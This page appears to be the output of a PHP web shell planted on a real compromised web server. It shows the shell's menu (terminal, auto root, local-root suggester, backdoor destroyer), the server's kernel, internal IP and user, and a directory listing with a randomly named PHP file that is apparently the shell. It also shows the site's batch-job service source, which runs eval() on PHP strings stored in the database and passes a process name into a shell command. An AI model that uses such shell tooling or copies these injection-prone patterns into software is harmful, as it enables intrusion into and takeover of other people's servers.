Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
CoreBundle /
Services /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
519
B
-r-xr-xr-x
2026-08-17 03:12
BatchJobsManager.php
10.21
KB
-rwxrwxr-x
2026-04-02 12:06
ErrorLogManager.php
5.05
KB
-rwxrwxr-x
2026-04-02 12:06
FileUploader.php
822
B
-rwxrwxr-x
2026-04-02 12:06
KeyValueManager.php
4.33
KB
-rwxrwxr-x
2026-04-02 12:06
Openssl_EncryptDecrypt.php
2.69
KB
-rwxrwxr-x
2026-04-02 12:06
PublicHolidayManager.php
2.53
KB
-rwxrwxr-x
2026-04-02 12:06
S3.php
92
KB
-rwxrwxr-x
2026-04-02 12:06
ServiceGetterManager.php
2.67
KB
-rwxrwxr-x
2026-04-02 12:06
SystemSettingGroupManager.php
2.65
KB
-rwxrwxr-x
2026-04-02 12:06
SystemSettingManager.php
10.55
KB
-rwxrwxr-x
2026-04-02 11:48
TempValueManager.php
4.24
KB
-rwxrwxr-x
2026-04-02 12:06
Utils.php
13.04
KB
-rwxrwxr-x
2026-05-25 12:28
bRmmqHsQgg.php
4.42
KB
-rw-r--r--
2026-06-20 02:59
Save
Rename
<?php namespace App\CoreBundle\Services; use Symfony\Component\DependencyInjection\ContainerInterface; use App\CoreBundle\Entity\BatchJobs; use App\CoreBundle\Services\Utils; /** * Batch Jobs manager * * @author Otto Saayman <otto@igotafrica.com> * @package CoreBundle * @subpackage BatchJobs * @version 0.0.1 */ final class BatchJobsManager { /** * Service Container * @var object */ private $container = null; /** * Entity manager * @var object */ private $em; /** * IGA Error logger * @var object */ private $logger = null; /** * Class construct * * @param ContainerInterface $container * @param Logger $logger * @return void */ public function __construct( ContainerInterface $container) { $this->setContainer($container); $this->setEm($container->get('doctrine')->getManager('default')); return; } /** * Get Container * * @return ContainerInterface $container */ public function getContainer() { return $this->container; } /** * Set Container * * @param ContainerInterface $container * @return void */ public function setContainer($container) { $this->container = $container; } /** * Get Entity Manager * * @return string */ public function getEm() { return $this->em; } /** * Set Container * * @param string $em * @return void */ public function setEm($em) { $this->em = $em; } /** * save a batch job * * @param string $phpScript */ public function save($phpScript, $checkExists = true, $forceCreate = false, $priority = 1000, $secondsToWait = -1) { $userListManager = $this->getContainer()->get('user_list.manager'); $userList = $userListManager->getLoggedInUser(); $batchJob = null; if ($checkExists) { $batchJob = $this->getEm()->getRepository(BatchJobs::class)->findOneBy(array('php_script' => $phpScript)); if (is_object($batchJob) && !$batchJob->getSuccess()) { //Job is there and has not finished return false; } if ($secondsToWait < 0) { // 10 days $secondsToWait = 60 * 60 * 24 * 10; } if (is_object($batchJob) && is_object($batchJob->getUpdatedAt()) && $batchJob->getUpdatedAt()->getTimestamp() >= (time() - $secondsToWait) && !$forceCreate) { //Job was run less than seven days ago return false; } } if (!is_object($batchJob)) { $batchJob = new BatchJobs(); } if (isset($_SERVER["HTTP_HOST"])) { $batchJob->setSiteHost($_SERVER["HTTP_HOST"]); } else { $batchJob->setSiteHost(''); } $batchJob->setPhpScript($phpScript); $batchJob->setFailCount(0); $batchJob->setFailed(false); $batchJob->setInProgress(false); $batchJob->setSuccess(false); $batchJob->setIsLocked(false); $batchJob->setJobPriority($priority); if (is_object($userList)) { $batchJob->setCreatedBy($userList->getId()); } $this->getEm()->persist($batchJob); $this->getEm()->flush(); } /** * Find batch jobs * * @param array $params * @return array */ public function findBy($params) { return $this->getEm()->getRepository(BatchJobs::class)->findBy($params); } public function checkBusy() { $load = sys_getloadavg(); if ($load[0] > 6) { //Server too busy - sleep for a while sleep(60); } } /** * do batch job * */ public function doJob($maxPriority = 0) { $batchJobs = $this->getEm()->getRepository(BatchJobs::class)->findNextJobs($maxPriority); $logger = $this->getContainer()->get('error_log.manager'); $output = ''; $_SERVER["HTTP_HOST"] = 'igotafrica.com'; $phpScript = ''; if (!is_array($batchJobs) || count($batchJobs) <= 0) { return false; } foreach ($batchJobs as $batchJob) { $batchJob->setIsLocked(true); $this->getEm()->persist($batchJob); $this->getEm()->flush(); } //foreach foreach ($batchJobs as $batchJob) { $this->checkBusy(); try { $this->getEm()->refresh($batchJob); } catch (\Exception $ex) { $logger->info('Error on job refresh: ' . $ex->getMessage() . ' - ' . $ex->getTraceAsString()); } try { if ($batchJob->getSuccess() > 0) { // echo 'skipping completed job: ' . $batchJob->getSuccess() . ' - ' . $batchJob->getId() . "\r\n"; $batchJob->setInProgress(false); $batchJob->setSuccess(true); $batchJob->setFailed(false); $batchJob->setIsLocked(false); $this->getEm()->persist($batchJob); $this->getEm()->flush(); continue; } $batchJob->setInProgress(true); $batchJob->setSuccess(false); $batchJob->setIsLocked(true); $batchJob->setExecutionStarted(new \DateTime()); if (strlen($batchJob->getSiteHost()) > 0) { $phpScript = "\$_SERVER['HTTP_HOST'] = '" . $batchJob->getSiteHost() . "'; " . $phpScript; $_SERVER["HTTP_HOST"] = $batchJob->getSiteHost(); } $this->getEm()->persist($batchJob); $this->getEm()->flush(); // echo "\r\n Now executing: " . $batchJob->getPhpScript() . "\r\n"; $output = eval($phpScript . ' ' . $batchJob->getPhpScript()); // $this->getContainer()->get('error_log.manager')->info('Host is set to ' . $_SERVER["HTTP_HOST"] . ' - ' . $phpScript . ' ' . $batchJob->getPhpScript()); if ($output === false) { // $logger->info('Bad syntax/ unable to execute: ' . $phpScript . ' ' . $batchJob->getPhpScript()); throw new \Exception('Bad syntax/ unable to execute'); } $batchJob->setInProgress(false); $batchJob->setSuccess(true); $batchJob->setFailed(false); $batchJob->setIsLocked(false); $batchJob->setExecutionEnded(new \DateTime()); $this->getEm()->persist($batchJob); $this->getEm()->flush(); // echo 'Executed ' . $batchJob->getId() . "\r\n"; } catch (\Throwable $ex) { // echo 'Error ' . $batchJob->getId() . ' - ' . $ex->getMessage() . ' - ' . $ex->getTraceAsString() . "\r\n"; // echo $ex->getTraceAsString() . "\r\n\r\n"; $logger->error('Error on batch job ' . $batchJob->getPhpScript() . ' - ' . $ex->getMessage() . ' - ' . $output . ' - ' . $ex->getTraceAsString()); $batchJob->setInProgress(false); $batchJob->setSuccess(false); $batchJob->setFailed(true); $batchJob->setIsLocked(false); $batchJob->setFailCount($batchJob->getFailCount() + 1); $batchJob->setExecutionEnded(new \DateTime()); $this->getEm()->persist($batchJob); $this->getEm()->flush(); } //Check for duplicate jobs $this->getEm()->getRepository(BatchJobs::class)->removeDuplicates($batchJob); } //foreach } /** * Delete all un-executed jobs */ public function clearQueue() { $this->em->getRepository(BatchJobs::class)->clearQueue(); } /** * Clean up old jobs */ public function cleanUpQueue() { $this->em->getRepository(BatchJobs::class)->cleanUpQueue(); } /** * Clean up old jobs */ public function resetJob(BatchJobs $batchJob) { $batchJob->setSuccess(false); $batchJob->setFailCount(0); $batchJob->setFailed(false); $batchJob->setInProgress(false); $batchJob->setIsLocked(false); $this->getEm()->persist($batchJob); $this->getEm()->flush(); } /** * Check if job is in process * @param string $scriptPart * @return integer */ public function isProcessing($scriptPart) { return $this->em->getRepository(BatchJobs::class)->isProcessing($scriptPart); } /** * Check if jobs can run * @param string $scriptPart * @return integer */ public function canProcessAny($output, $processName) { $pCountRes = popen("ps aux | grep \"" . $processName . "\" | wc -l", 'r'); $pCount = ''; While ($data = @fread($pCountRes, 64000)) { $pCount .= $data; } $output->writeln('Finished process count for ' . $processName . ': ' . $pCount); if ($pCount >= 8) { $output->writeln('Server too busy, ' . $pCount . ' processes already running'); return false; } return true; } public function canProcess() { $databaseServer = $this->getContainer()->get('system_setting.manager')->getSetting('load_check_database_server', '', true); $loadCheckMaxWorker = $this->getContainer()->get('system_setting.manager')->getSetting('load_check_max_worker', 4); $loadCheckMaxDB = $this->getContainer()->get('system_setting.manager')->getSetting('load_check_max_db', 2); $load = sys_getloadavg(); if (strlen($databaseServer) > 0) { $db_load = file_get_contents($databaseServer); } else { $db_load = 0; } $ramArr = Utils::getSystemMemInfo(); $ramPerc = trim(str_replace("kB", "", $ramArr['MemFree'])) / trim(str_replace("kB", "", $ramArr['MemTotal'])); $this->getContainer()->get('translator')->setLocale('en'); if ($load[0] > $loadCheckMaxWorker || $ramPerc <= 0.01 || $db_load > $loadCheckMaxDB) { return false; } return true; } }